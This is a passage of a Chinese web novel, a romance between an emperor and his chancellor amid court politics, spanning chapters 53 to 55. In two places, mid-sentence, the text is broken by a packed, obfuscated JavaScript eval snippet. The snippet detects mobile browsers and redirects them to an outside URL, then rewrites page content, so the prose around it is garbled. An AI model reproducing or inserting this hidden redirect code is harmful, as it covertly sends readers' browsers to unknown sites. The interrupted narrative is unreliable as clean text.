宓安语塞,气的在他脖颈上咬了牙印:“我以为你会说,‘我错了,再有下次阿宓罚我三天不许上床吧’。” 景煦垂眸看着怀里的人,他其实确实想这么说,只是宓安总在疏远他,哪敢说这种话。 “阿宓。” 宓安窝在景煦怀里,懒懒地应了一声。 “方才阿宓要说什么?” “没什么。” 等枨衔水那边归位,景煦也会记起一切,与其浪费口舌同他解释重生的事,不如抓紧时间多亲几下。 宓安仰头亲了亲他的下巴,笑道 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礼部尚书立刻行礼:“见过宓相。” 户部尚书愣了片刻也赶紧行礼道:“下官见过宓相。” 宓安尴尬地摆了摆手:“两位大人客气了,您……您二位也来找陛下议事啊,真是巧了。” 景煦将折子放下,脸上没有表情:“你怎么来了?” “来议事。”宓安面不改色,自己搬了个小圆凳坐在了一边,“二位大人先说。” 两位尚书对视一眼,都从对方眼里看到了震惊,也只能装作无事,继续道:“夏至大宴已经基本筹划完毕,今年可要新晋举人参宴?” 景煦指尖轻点奏折,垂眸思忖,他一向懒得在大宴上露面,看着一群大臣虚与委蛇溜须拍马着实累人,更何况宓安肯定是不想去的,他还想多和宓安待一会儿。 但新晋举人若是参加,不露面倒显得他这个皇帝轻视臣子。 “让他们来吧。”宓安轻轻吹开茶水浮叶,“今年的新科状元是个人才,陛下也该见见。” 景煦冷哼一声:“殿试时已经见过了。” “我……臣没见过。”宓安转头冲他笑,“让臣也见见状元郎。” 景煦皱起眉头,没好气道:“见他做什么?” 礼部尚书以为景煦忌惮宓安对状元有拉拢之心,宓安又这么无礼,圣上并未赐座竟然都敢坐下,一时不敢吭声,头几乎低到了肚子上,生怕龙颜大怒牵连自己。 宓安挑了挑眉:“陛下又在闹什么脾气,臣身为百官之首,见见状元不是理所应当?” “你现在知道自己是百官之首了?”景煦被他气笑了,前几日还说要辞官,今日想去见野男人倒想起自己是当朝丞相了? “宓相,你已经大半月未去上朝了。”景煦瞥了宓安一眼,“打算重回朝堂了?” 宓安抬眼看他,抬手点了点自己的胸口,问道:“臣上不了朝,是臣的错吗?” 景煦:“……” 他挥手让两位尚书退下,两人如蒙大赦,小跑着离开御书房,差点慌不择路,宓安好笑道:“怎么,准备人后训妻了?” 景煦被他噎住,张了张嘴欲言又止,半晌,委屈道:“你什么意思?” “什么什么意思?”宓安喝了口茶,“我见见状元怎么了?” “我是说……”景煦站起身,一手按住宓安的肩膀,弯腰贴近,“‘人后训妻’是什么意思?” 宓安眨眨眼,反问道:“我不是吗?” 景煦盯他良久,终于忍无可忍地堵住了他的嘴。 仰着头被亲了许久,宓安侧头避开景煦的唇舌,埋怨道:“累。” “阿宓……”景煦坐到地上,头靠在宓安腿上,垂眸掩去眼中情绪,“我是不会同意你离开的。” “知道了。”宓安摸了摸景煦的头,心里觉得好笑,这毫无形象往地上一坐的样子才像他熟识的景煦。 景煦见他这么爽快,又恨恨地咬了咬牙。 “你在想什么?”宓安一下下顺着景煦的头发,“偷偷骂我。” “我怎么会骂你。”景煦抬头撞了撞宓安的腿,一时觉得恍惚,登基后宓安疏远他多年,两人每每独处总以不欢而散收尾,这样坐下好好说话的时候真是屈指可数。 宓安捏了一把景煦的脸:“景长昱,我是不是忘记说了。” 景煦靠着宓安的腿,声音闷闷的:“什么?” “我心悦你。” 53. 番外二 “你……” 景煦一手抱住了宓安的小腿,在外杀伐果决的帝王竟然结巴起来:“你、你说什么?” “说爱你。”宓安弯腰,双手捧起景煦的脸,毫不吝啬地给他一个亲吻,笑意盈盈。 景煦咬住了自己的舌头,一时竟然有些委屈,连眼眶都红了:“你不走了?” “我能走去哪?”宓安正要拉他起来,忽然耳尖一动,“什么声音?” 影十三哭哭啼啼地出声自首:“对不起主子,属下太感动了。” 景煦皱眉:“滚出去。” “属下这就滚!” 宓安失笑,重生后景煦脾气好了很多,暗卫一个个的也胆大起来,没想到前世他对暗卫也挺随和,影十三都敢听墙角。 其他暗卫也悄无声息地远离了御书房,眼见自家主子单相思十几载,终于是守得云开见月明了。 “阿宓。”景煦将脸埋在宓安腿上,“那你和国师是怎么回事?为什么叫他‘师父’?” “说来话长。”宓安继续顺着景煦的头发,“国师就是我师父,只是后来假死跑了,做了国师。” 景煦一愣,猛地抬起头:“他是你师父?那他怎么不给你……” “什么?” “给你认错。”景煦及时收声,又把脸埋了回去,“太过分了,竟然假死骗你。” 宓安笑了一声,景煦方才定是想说枨衔水怎么不给他解蛊毒,不过既然他不想说,那自己还是不要问了。 这时景煦应当已经引蛊,只盼枨衔水早些归位星盘,别再让景煦经历蛊毒发作的痛苦了。 “后日夏至大宴,你陪我去。”景煦凉凉开口,“去见你心心念念的状元郎。” 宓安本就没打算见什么状元,况且他们还不一定能等到后日,但景煦这阴阳怪气的语气着实好笑,宓安捏了一把他的脸:“状元郎哪有陛下好。” “现在知道我好了。”景煦小声嘀咕,又不放心地问,“前几日还说要辞官,我要是不拦着,你现在是不是已经浪迹天涯去了。” 宓安故意逗他:“听起来也不错,游山玩水自由自在的。” 景煦抓着宓安的衣摆,手指慢慢收紧,许久才开口:“不许走。” “不走。”宓安捏他耳垂,又勾他下颌,语气缱绻地哄道,“出去走走?” “好。” 两人这样并肩闲逛景煦连梦里都不敢想,那日莫名又和宓安滚到了床上,本来已经做好了对方闭门谢客几个月的打算,没想到宓安竟然主动来了御书房,还对他……这般亲近。 景煦不得不怀疑宓安是在刻意讨好,让他放松警惕然后趁机逃走。 是欺骗也好,是梦也好,只要宓安在这里,总是好的。 “你不高兴。”宓安牵起景煦的手,与他十指相扣,景煦一愣,摇头笑道:“没有。” 宓安对他熟悉的很,他高不高兴自然也是一眼就能看出来,两人已经走到了占星台,宓安忽然气沉丹田,带着内力的声音越过高高的楼梯,直充枨衔水的耳边:“师父!!你好了没有!!” 宫人们吓了一跳,腰几乎弯到了地上,枨衔水“砰”一声打开门,扔了个东西下来:“催什么催!” 宓安接住小瓶子,问道:“这是什么?” “抑制蛊毒的,先给他吃了,我这……还得再等等。”枨衔水忙的焦头烂额,没空应付宓安的催促,宓安也知道催他没用,只好喂了景煦一颗药丸,叹气道:“师父有时候真是不靠谱。” 景煦默默把药丸嚼了,宓安好笑地捏了捏他的脸:“怎么给你什么就吃什么?也不问问。” “阿宓给的,毒药也吃。”景煦又不开心了,垂着眼睛看宓安的衣摆,“你知道我引蛊的事了?” 宓安“嗯”了一声,正想问景煦盛夏时节哪里有荷花,这人却忽然用力,捏疼了他的手。 “你不必因为愧疚……对我这样。”药丸味道不好,苦的景煦眼眶发酸,“是我心甘情愿。” 宓安沉默片刻,叹了口气,伸手拥住了眼前的人。 “谁对你愧疚。”宓安脸埋在景煦怀里,挡住自己红了的眼睛,“再胡说八道我要离家出走。” “我都被你睡过了。”宓安权当自己还是不到二十岁的少年,什么话都敢说,“后面好痛,你还气我,更痛了。” 景煦一哽,红了耳尖:“宫里好像、好像有……药膏。” “那个不好用。”重生后他也试过,不如他自己配的。 “主子……”影五的声音轻轻传来,“李公公在那边站很久了,可能有要事。” 李公公就是接替王顺做景煦贴身太监的李禄,宓安抬眼一看,果然见他站在远处急得脚不沾地,时不时往这边看一眼,又不敢出声打扰。 景煦招了招手,李禄如蒙大赦,快步过来行礼道:“陛下,礼部尚书和户部尚书两位大人正在御书房候着。” “知道了,朕……”他看向宓安,后者笑了下,说道:“现在去吧。” “行吧。”景煦还有些不情愿,宓安好笑道:“陛下不会想偷懒吧?” 景煦直言:“想。” 宓安摇摇头:“夏至大宴很重要,陛下可不能不上心。” 景煦幽幽看向他:“夏至大宴似乎是该丞相操办的。” 只是下面的人实在找不到宓安,只能直接面圣了。 宓安伸伸懒腰:“陛下不是要废相,早日习惯吧。” “废相也不是将政事全揽到我这来。”景煦一点也不惊讶宓安懂他的意图,只是头疼道,“将相位分权而已,多几个人多些约束制衡。” 李禄跟在两人身后听得心惊胆战,恨不能将头埋进地底下去。 宓安对这些事向来没什么兴趣,随口道:“需要我上折子吗,臣身居高位深知相位之弊端什么的。” 景煦笑了起来:“不急。” 他看向宓安,对方虽然从不过问政事,却对一切都了如指掌,看的十分透彻,甚至一眼看出自己废相的意图,还猜到了需要他这个现任丞相助力。 他真是太喜欢宓安了。 “折子你写,我誊一下。”宓安早就被景煦养娇气了,一点脑子也不想动,景煦不置可否,只是捏了捏他的手。 盛夏烈日炎炎,景煦推门被扑面而来的凉气吹得一愣,宓安眨了眨眼,笑道:“啊,我偷了一点大宴要用的冰,陛下,可以吗?” 两位尚书已经等候多时,宓安这才看到都察院的御史也在,这个从来不会看人脸色的老大人当即一甩袖子:“宓相怎可以权谋私,乱用大宴用冰!” 宓安笑了下:“张大人不也凉快的很。” 御史一时没想到话反驳,景煦摆摆手:“冰在御书房,又没在相府,你要参就参朕好了。” 礼部尚书十分有眼力价地向宓安行了礼,虽然这位一人之下的丞相不怎么上朝,但陛下登基之初宓安是如何以雷霆手腕震慑朝堂,处死一众异心之人的,他可是记忆犹新,如今回想起还一阵后怕。 只是许久不见宓相,对方似乎……变懒散了? 宓安坐在景煦身旁听他们议事,左耳进右耳出,满眼只有户部尚书带来的大宴支出账册。 景煦见他盯着账册出神,问道:“账册可有不妥?” “加个果盘。”宓安脸上看不出一点私心,“让人将冰敲碎一点,和水果拌在一起。天热,上了年纪的大人们不能吃太热的。” 景煦勾了勾唇角,示意户部尚书去办。 御史站在一边欲言又止,宓安点点头:“御史大人不必谢我。” “宓相!”御史一咬牙,“恕臣直言,即便您位高权重,但陛下并未赐座,您这般岂不是尊卑不分,目无圣上!” 宓安笑了一下,轻声道:“我太久没去上朝了,御史大人是不是忘了?” 他大逆不道地端起景煦的茶杯抿了一口,继续说道:“我在朝上也是坐着的。” 别说御史了,他自己都快忘了。 前世今生这么多年,他真是越活越懒散了。 两位尚书悄悄挪了挪脚步,离御史远了一些,景煦没再给御史开口的机会,说道:“不必说了,是朕同意的。” “陛下,这……这不合规矩。” 景煦从来没守过规矩,摆手让人都出去,语带警告:“朕早就说过见宓相如见朕,莫再多言。” 宓安冲御史笑了下,得到了对方敢怒不敢言的白眼,好笑道:“这下我要变成祸国妖妃了。” 景煦失笑:“谁敢说你是妖妃?” “他们不敢说,但他们心里是这么想的。” 不过宓安也并不在乎朝臣如何评价他,前世他觉得一切与自己无关,现在倒是觉得……反正他有靠山。 竟然恃宠而骄了。 枨衔水的星盘可能真的出了大问题,直到夏至大宴都还没归位,宓安惴惴不安,所幸景煦的蛊毒没有发作,让他稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856034|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍安心了一些。 夏至日天亮的早,上朝时辰也早,宓安被景煦折腾了一夜,意料之中的又懒得去上朝了。 “我去上朝,你记得吃饭。”景煦轻吻宓安的唇角,等他闭着眼睛胡乱点头才去了大殿。 太平盛世朝政也繁忙,大事不多小事却不断,景煦已经记不清眼前这两位是第几次在朝上因为一点小事争论不休了。 景煦想,他最近脾气真是变好了。 这点儿屁事他竟然能坐在这里听上一刻钟。 御史痛骂羽林卫不干正事,羽林卫统领说他们直属陛下,陛下无令他们不能妄动。 景煦这才想起还有一群羽林卫在领俸禄,他有自己的暗卫,所以从不用这群人做事。 尤其是羽林卫直属历代帝王,他不是很信任。 “那便将羽林卫并入卫所,不就都有事干了。” 一道清凉的声音响起,羽林卫统领没看清来人就反驳道:“羽林卫是天子亲军,怎可并入卫所?” 影十三站在宓安身后,冲他笑道:“现在我们才是天子亲军唉。” 景煦失笑:“怎么过来了?” “十三有急事,我……臣就带他来了。”宓安缓步走到大殿最前,那把椅子常年空着,今日终于迎来了它的主人。 百官这才反应过来,齐齐行礼:“见过宓相。” 宓安端坐,头也不回:“各位大人客气了。” 影十三规规矩矩行礼,说道:“主子,羽林卫收受贿赂,擅自放人进宫。” “陛下!绝无可能。” 宓安笑了一声,声音像来自数九寒天,竟让羽林军统领打了个寒颤:“怎么,本相污蔑你?” “臣……臣不敢。”羽林卫统领敢怒不敢言,宓安却奇怪,按理说同为臣子,没道理在他面前自称“臣”,那日御史似乎也是如此自称,好没道理。 昨日景煦在御书房说的“见宓相如见朕”,竟然……仔细到这种小事上? 宓安抬眼看向龙椅上的人,做口型道:“你好没规矩。” 景煦笑了下,说道:“此事交由宓相查办,另羽林军并入卫所可行,宓相回头拟个章程。” “臣遵旨。”宓安也不起身,没规矩的很,“案件查明之前,这位统领先去天牢待几天吧。” 景煦挥手让影十三带人下去,羽林卫统领高声喊冤,宓安觉得好笑,继续演骄纵无礼:“臣乏了,先回。” 他起身离开,几位御史盯着人走了才敢开口,其中一位试探道:“陛下,宓相这……是否太过无礼了?” 还有更大胆的,直接说道:“陛下!从前孔玉宣都不敢对先帝如此无礼!宓相已经多少日不曾上朝了!” “在其位不谋其政!宓相实在德不配位!” 景煦皱起眉头,他知道宓安故意来演这一出,意在让百官看到身处相位可以嚣张至此,但他只是想寻个由头改制,不代表他能允许旁人对宓安出言不逊。 “朕是不是说过,见宓相如见朕。”景煦冷眼扫过几人,“不如来弹劾朕。” “臣不敢。” 宓安倒是毫不在意,反正等枨衔水星盘归正,这里的一切都会回归正轨,重生后的那个世界不用他帮景煦震慑朝堂,自然也没人在意他这个挂名丞相上不上朝。 盯着相位的人不在少数,他不上朝那些人才高兴。 “公子。”影十三跟在宓安身后,“咱们要去查受贿吗?” “不去。”宓安懒的骨头软,“让陛下自己查。” 影十三愣了半天:“啊?” “不然你去。”宓安目的明确地往御膳房走去,铁了心不愿干活。 御膳房的主厨是新来的年轻人,见宓安气质不凡,小心地行了个礼,问道:“这位大人如何称呼?” 宓安一愣,他前世没见过这人,倒是重生后有过一面之缘,似乎是哪位太妃家的小辈。 怎的前世跑来当厨子了? “我是……陛下身边的。”宓安凭记忆找到装水果的竹筐,抱走了一个西瓜。 景煦寝殿的西瓜都是宫人细心切好挑净瓜子的,但宓安喜欢抱着西瓜吃。 虽然不雅,但吃着开心。 影十三很有眼力见:“我来抱我来抱。” 他从宓安手里接过西瓜,稳稳抱回景煦的寝殿,本该还在朝上的人却像是已经等在这里许久了,影十三放下西瓜隐去身形,宓安笑道:“怎么这么快就回来了?” 54. 等待进入网审 “想你,就回来了。” 宓安笑了下:“陛下怎么这么黏人?明明昨日还怀疑我别有用心。” 他将西瓜对半切开,故作痛心:“臣好伤心。” 景煦看出宓安说笑,好笑地捏了捏他的脸凑近道:“是朕错了,阿宓打我一顿出出气?” 宓安一愣,一瞬间以为景煦恢复了记忆,但窥见他眼底不安又打消了这个念头,伸手抱了他一下:“别怕,我不会离开你的。” 景煦心头蓦的一软,这人怎会如此敏锐,一眼就能看出他的担忧。 似乎看出他心中所想,宓安忽然仰头亲了景煦一口:“景长昱,你上朝是也是这样吗?什么心思都写在脸上。” 景煦垂眸:“怎么会。” 宓安喂了他一口西瓜:“少胡思乱想。” 景煦看着宓安出神,视线从他的额头落到被西瓜浸润的薄唇,认忍不住俯身舔净了宓安唇上的汁水。 “阿宓。”景煦没有离开,贴着宓安的唇喃喃道,“我知道你从小受够了被禁锢,我……没有想拘着你。” “若你觉得宫里拘束,那便出去走走吧。” 他又舔了舔宓安的下唇,语气带上一丝委屈:“但你要回来。” 宓安笑着亲他,西瓜被扔在一边,汁水浸湿了奏折,景煦挥手扫开折子,将宓安抱到桌上,搂着他的腰细细亲吻。 “唔……” 宓安只觉腰上滚烫,不自觉呻|吟出声,手往景煦衣裳里伸,微凉的指尖却带起一道滚烫的触感,景煦按住他的手,声音低哑:“阿宓,你想做什么?” “我想……”宓安直起身子,贴着景煦的耳垂,声音浅浅,吐气如兰,“白日宣淫。” 景煦喉咙一紧,哑声道:“御书房没有床榻。” 宓安歪了歪头,眼尾带红,格外勾人:“这里也行。” “不……不行,这里怎么行。”景煦埋头在宓安胸前,红了耳尖。 宓安颤着身子笑了起来,重生后的景煦简直是个登徒子,御书房,寝殿,浴池,窗边,能做的地方几乎都做过,宓安有时甚至怀疑他想去宣政殿的龙椅上做。 这时候的景煦竟然还知道廉耻,还会脸红,宓安实在是心软,笑着抱住了眼前的人,意义不明道:“你最好记住今天的话。” 景煦不解,抬头看他,宓安又亲他一口,门外传来宫人的禀报声:“陛下,户部尚书求见。” “让他等等。”景煦整理好宓安的衣裳,又将自己的衣裳抚平,好好冷静了一会儿。 太平盛世,大臣求见也无非是一些小事,户部尚书呈上了夏至大宴的各项开销,礼部尚书紧随其后,一边禀报大宴进度,一边试探道:“陛下,按往年规矩,大宴日各位大人均携家眷前往,您……” 后面的话没说出口的,但景煦了然,又来催他纳妃了。 宓安最近对他和颜悦色,景煦脾气也好了许多,闻言忽然笑了一声:“你去同宓相商量吧。” 礼部尚书小心问道:“这……我朝似乎没有丞相干预后宫的先例……” “现在有了。”景煦近来心情不错,觉得打打杀杀的太耗力气,不如推给宓安,看他吃醋也很有意思。 但礼部尚书虽然敢壮着胆子向景煦谏言,却万万不敢去触宓安的霉头……虽然没有明说,但谁人不知宓相和陛下关系复杂。 说曹操曹操到,宓安这时正好端着一碗冰沙找了过来,随口跟两位尚书打了招呼,对景煦道:“尝尝。” 景煦笑着接过,宓安扫了桌上的折子一眼,收回了视线。 “两位大人还有别的事?”宓安见两人还杵在原地,问道。 户部尚书立刻告退,礼部尚书欲言又止,最终还是默默退下了。 景煦觉得好笑,宓安整日一副弱不禁风的样子,这些朝臣竟然这么怕他。 夏至大宴在即,枨衔水那边却迟迟没有动静,宓安叹了口气,难道真要留到大宴结束? 他实在懒得参加。 可惜枨衔水又像上辈子一样,把自己关在占星台闭门谢客,夏至当天,宓安还是不情不愿地被景煦抱下了床榻。 “阿宓近日怎么总是犯懒?”景煦摸了摸宓安的肚子,口出狂言,“莫不是……有喜了?” 宓安沉默片刻,给了他后脑一巴掌:“滚。” 景煦捂着头偷笑,宓安忽然察觉不对劲,斜眼看他:“景长昱?” 景煦低头给宓安穿衣裳,应了一声:“要叫夫君。” “想起来了?”宓安掐了一把他的腰,“装失忆呢?” 景煦笑了起来,连忙握住宓安的手:“别累着手。” 宓安对“前世的景煦”好像格外纵容,也不能怪他舍不得坦白自己已然恢复了记忆,景煦凑近给宓安打,宓安却伸手搂住他的腰,整个人靠进景煦怀里:“你回来啦。” “我一直在呀。” “之前是半个你。”宓安蹭了蹭景煦的脖颈,埋怨枨衔水,“师父也真是的。” 景煦笑着亲了亲宓安的耳垂:“他老人家真是不靠谱,我只是恢复记忆了,可现下还是前世的皇宫。” 宓安轻轻“嗯”了一声,他想宓朗回了。 他在这个世界没有爹,枨衔水到底什么时候能修好他的星盘。 抱着人缓了一会儿,宓安收拾好心情:“走吧,大宴要开始了。” 没想到景煦比他还懒:“大宴?那岂不是还要见殿试三甲?我不去了……” “你休想。” 夏日荷花正盛,众大臣带着各自家眷早早候在了御花园,探花郎楚玉一身大红官服,正站在莲池旁喂鱼。 新科状元翟子固只穿了日常便服,远远看着楚玉,犹豫了片刻,还是上前道:“楚兄,陛下早先说过,大宴上不必太过拘束,你……要不去换身衣裳?” 楚玉摇了摇头:“听闻宓相也会来。” 翟子固不解,楚玉继续道:“听说宓相……天人之姿,我……我……” 他“我”了半天,翟子固却是听懂了,两人沉默片刻,翟子固实在没忍心把心里话说出口。 虽然人靠衣装,但你不管穿什么衣裳,那也是没法和陛下比的啊。 说话间景煦和宓安已经到了,楚玉浑身一僵,跟着众人一起行礼,竟是没敢看宓安一眼。 宓安却一眼就看到了那突兀的官服,不由好笑:“你没告诉他不用穿的这么正式?” 今日宓安也只穿了件常穿的白衣,只是被景煦拉着换了件青绿的外衫,景煦闻言看过去,说道:“就他一个穿官服,说明是他有问题。” “看着就热。”宓安将面前的冰挪近一些,景煦趁所有人低头凑过去亲了他一口,被瞪了也不移开,又好好碾了碾宓安的唇。 “景长昱。” 宓安眯起眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931762|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,景煦立刻坐直身子:“别骂了。” “平身吧,不必拘束。”景煦给自己倒了杯清茶,“那个……穿官服的,热的话找宫人带你去换件衣裳。” 楚玉受宠若惊:“多谢陛下关怀!臣不热!” 景煦:“……” 宓安笑出了声,连忙收了收表情,低头分起了瓜果。 景煦的手在桌下摸上宓安的腿,意味不明地捏了两下,语气也含了些阴阳怪气:“宓相怎么不看状元郎?” 宓安喂了他一颗葡萄,好笑道:“状元郎哪有陛下好看,好了,不许趁机胡闹。” 大宴本就是朝臣与朝臣、朝臣与帝王交流的契机而已,也没有什么重要的事,只是探花郎一个劲往高位上瞄,眼见殿试那日寡言冷漠的少年帝王正笑着喂一人之下的权臣吃点心,被人拍开手也不恼,反而又换了梨子,追着人喂。 楚玉胆战心惊地收回视线,扫了正在蠢蠢欲动想要自己女儿上前一舞的工部侍郎,擦了擦冷汗。 翟子固比楚玉有眼力见,也更心善,倒是借着闲话的当口向工部侍郎暗示了一番不要做无用功,当心陛下龙颜大怒,奈何对方完全不领情,也只好作罢。 丝竹声起,一女子红纱覆面,身姿婀娜翩翩起舞,一步一步往高位走去,宓安抬头看了一眼,奇怪道:“大热天的,怎么还安排歌舞了?” 景煦也奇怪:“那日交给我的章程没有这个啊?” 宓安看了一眼明显坐立不安的工部侍郎,冷笑了一声。 景煦立刻抬手叫停,低声解释:“不关我的事!” “我不是气你。”宓安拍了拍景煦,抬头看向跳舞的女子,冷声问道:“今年大宴未曾安排歌舞,你是何人?” 女子连忙跪下,头贴在地上,不敢言语。 宓安漫不经心地喝了口茶,说道:“我竟不知,宫中歌舞乐师,竟是什么人都能使唤的?若是刺客混入其中,谁来担责?” 宫中司乐一听这话连忙起身,忙不迭地跪下:“宓相恕罪!是工部侍郎李大人安排奴才们演奏,奴才想着……大宴热闹,应当也不打紧……” 他声音越来越小,头重重磕到地上,宓安只淡淡“哦”了一声,满座朝臣噤若寒蝉,景煦咬了咬舌头,目光灼灼地盯着宓安。 阿宓这副样子真是…… 真是…… “宓相恕罪!陛下恕罪!”工部侍郎连滚带爬地跪了过来,竟是先喊的宓相后喊的陛下,景煦不由好笑,宓安瞪了他一眼,警告他不许胡闹。 “这女子是何人?”宓安问道。 工部侍郎连忙道:“回宓相,是小女。” 景煦指尖轻点桌子,问道:“朕怎么记得,你女儿早就出嫁了?” “是……是侧室所生。” 宓安总觉得地上的身影十分眼熟,不由多看了几眼,那女子正好直起上身,想要说什么,与宓安对上视线,蓦的一愣。 宓安现在认出来了,失笑道:“工部侍郎的侧室女?” 女子也笑了出来:“方才听宓相声音就觉得耳熟,果然是您。” 宓安招呼宫人:“搬张椅子,让谭姑娘坐下。” 女子正是许久未见的谭忍冬。 宓朗回姗姗来迟,王顺端着一盘切好的西瓜放在桌上,宓安骤然松了口气。 景煦挑了下眉,枨衔水的星盘,竟是在悄无声息中归位了。 55. 等待进入网审 工部侍郎见谭忍冬与宓安说话一片熟稔,顿觉不妙,浑身哆嗦起来,宓安装作没看见自家父亲的眼刀,和颜悦色道:“谭姑娘入宫可是有事?” 谭忍冬:“民女……臣女……” 宓安失笑:“不必如此客气。” 谭忍冬也笑了起来,直言道:“此番进宫就是为了状告我这‘父亲’,强抢民女,隐藏妾室女身份送进宫中为妃向他传递陛下近况。如今的陛下不纳妃,他便想尽办法让那些孩子入宫与陛下见面。” 工部侍郎万万没想到早就死去的女儿竟然回京,还替换了入宫女子的身份,他还想叫冤,谭忍冬抬手给了他一巴掌:“你还想如何狡辩!” 景煦微微侧身靠近宓安,轻声问道:“前世有这事吗?” 宓安摇摇头:“我不记得。” 那时他从不参加宫中宴饮,看景煦的样子,前世的夏至宴似乎没有发生这些事。 谭忍冬怒目圆睁,死死瞪着工部侍郎:“我妹妹呢?” 工部侍郎被她一巴掌打的嘴都歪了,口齿不清地求饶:“我、我不知道!当日你和你妹妹是被两方人牙子带走的……” 谭忍冬一颗心坠入谷底,这么多年她一直在寻找妹妹的下落,可即便有了辛夷楼的势力,也依然杳无音讯。 她的妹妹,怕不是早就…… 宓安却忽然想起了什么,挥手唤来暗卫,低声吩咐了几句,两名暗卫领命消失,景煦看向他,眨了眨眼。 两人心有灵犀,景煦让人将工部侍郎下了狱,如何处置等大理寺调查之后再做定论,见一众大臣默不作声,景煦半真半假地敲打道:“对朕的家事指指点点就是这般下场。” 众大臣齐齐低头,喝茶都不敢出声。 宓安笑道:“诸位大人不必拘谨,陛下说笑的。” 但没人敢接这个笑话,景煦只好自己笑了一声:“朕自然是说笑,大宴是为作乐,别丧着脸了。” 众人只好强颜欢笑起来。 宓安好笑地拍了下景煦,两人带着谭忍冬去了御书房,景煦好奇道:“谭姑娘何时进京的?” “回陛下……”她找了个折中的自称,“在下进京已有半月,今日进宫的本该是个十三岁的孩子。” 宓安说道:“直接到朝青让人找我便是。” 谭忍冬道:“他毕竟是朝堂中人,我怕给你添麻烦……没想到青安公子竟是当朝丞相。” 难怪那日雄山初见,宓安言语间并不把孔玉宣放在眼里,原来他当时就与未来陛下情谊深厚。 “陛下会给你们一个交代。”宓安道,“方才听谭姑娘提起妹妹,不瞒你说,初见时我就觉得谭姑娘的样貌与朝青的一位管事很是相似,我已让人接她进京。” 谭忍冬猛地站起身,刚熄灭的希望又窜出一丝火苗,心里砰砰直跳:“多谢青安公子。” 宓安摆手道:“不必客气。这几日谭姑娘就先住宫里吧……后宫没人,你想住哪让人收拾就是。” 景煦却道:“后宫人多口杂,不如住西苑吧?那边是朝臣留宿的地方,也没人住。” 谭忍冬知道他担心自己住进后宫可能会传出风言风语:“我倒不怕人传闲话,哪里方便就住哪里吧。” 景煦笑道:“那便西苑吧,正好朕还有事相求。” “陛下言重。”谭忍冬道,“您与青安公子帮了我这么多,何来相求一说,有事直言便是。” 宓安猜到景煦想让谭忍冬帮他推行女官新制,不由笑了下:“你们聊,我回趟将军府。” 恢复正常的世界,将军府一如既往的热闹,宓家的门槛几乎被来访的朝臣踏平,宓安远远看着宓朗回一脸黑线和人虚与委蛇,稍稍心疼了下他这不怎么懂人情世故的亲爹。 宓朗回似有所感,一眼找到了躲在假山阴影下的宓安,毫不犹豫地出卖儿子:“青疏回来了,几位大人不是找他有事?” 那几人如狼似虎地看了过来,宓安一顿,想跑已经来不及,只好接替了宓朗回继续听他们的废话。 “宓相,臣斗胆,陛下这后宫……到底是如何打算的?” 宓安被吵的头疼,随口道:“陛下可能喜欢男子。” 几人沉默片刻,忽然顿悟,连声道谢,快步离了将军府。 宓安莫名,也没在意,跟宓朗回说了会儿话,见天色已晚,便回宫去了。 完全不打算留宿将军府,他可没精力再应付下一批客人了。 没想到人刚到宫门口,就被羽林卫拦了下来:“见过宓相!夜已深,外臣无诏不得入宫。” 自从前羽林卫统领被处置后,宫中侍卫就大换了一批,这几人应当是新上任的,宓安好笑道:“我不是外臣,我就住这。” “宓相说笑了,宓相请回。” 宓安:“……” 没想到有朝一日竟然被拦在家门口。 影五已经悄悄离开去找景煦了,宓安懒得翻墙更懒得和羽林卫掰扯,便随便坐在了一边侧门的门槛上,羽林卫犹豫道:“宓相,宫门马上下钥,您……先请回吧。” 宓安万万没料到他还有靠脸熟进不去皇宫的时候,只后悔没从景煦身上拿过令牌一类的信物。 景煦动作倒快,宓安远远看着那道身影,忽然气沉丹田:“景——长——昱——” 羽林卫愣了半天才反应过来这似乎是当今圣上的表字,当即大惊:“宓、宓相……” 景煦几乎是飞了过来,宓安伸手让他拉自己起来,对羽林卫道:“你们很尽责,不错。” 他推了推景煦:“让陛下和你说,我真的住这里。” 景煦笑出了声,羽林卫大惊失色,连忙告罪:“陛下恕罪!宓相恕罪!” 景煦笑道:“不必,宓相说你们很尽责,往后记着别拦了。” “是!” 宓安瞥他一眼,视线从发簪扫到靴尖,景煦被看的发毛,拉着宓安的手边走边道:“怎么这么看我?” “在想拿点什么信物,哪有人在自己家门口被拦下的。”宓安哼哼两声,“给我块免死金牌。” “要那个做什么,不吉利。”景煦把玩着宓安的手,“我把私印给你。” 历来拥有免死金牌的朝臣几乎都没有好下场,先帝小心眼,一边给人金牌以示信任,一边又疑心对方会仗着金牌为所欲为,过几年便设计人将金牌用了。 他的私印可比劳什子金牌好用多了。 翌日一早,宓安从景煦怀里醒来,发觉他一身潮气:“你上朝回来了?” 景煦似乎很困,闭着眼“嗯”了一声:“想把礼部尚书杀了。” 宓安抬起头:“啊?” “我真是脾气太好了。”景煦低头亲了亲宓安的额头,“谁给他们的胆子,送来一群花枝招展的……男人。” 最后两个字咬牙切齿,宓安一愣,一颤一颤地笑了起来:“哈哈哈哈哈哈……” “还笑。”景煦捏起宓安的下巴,用力在他唇上亲了一口,“你都不关心一下有人抢你男人?” 景煦骂骂咧咧:“他们是疯了不成?别让我知道这馊主意是打哪来的,迟早把他们全杀了。” 宓安笑他:“暴君。” “多杀几个就老实了。” 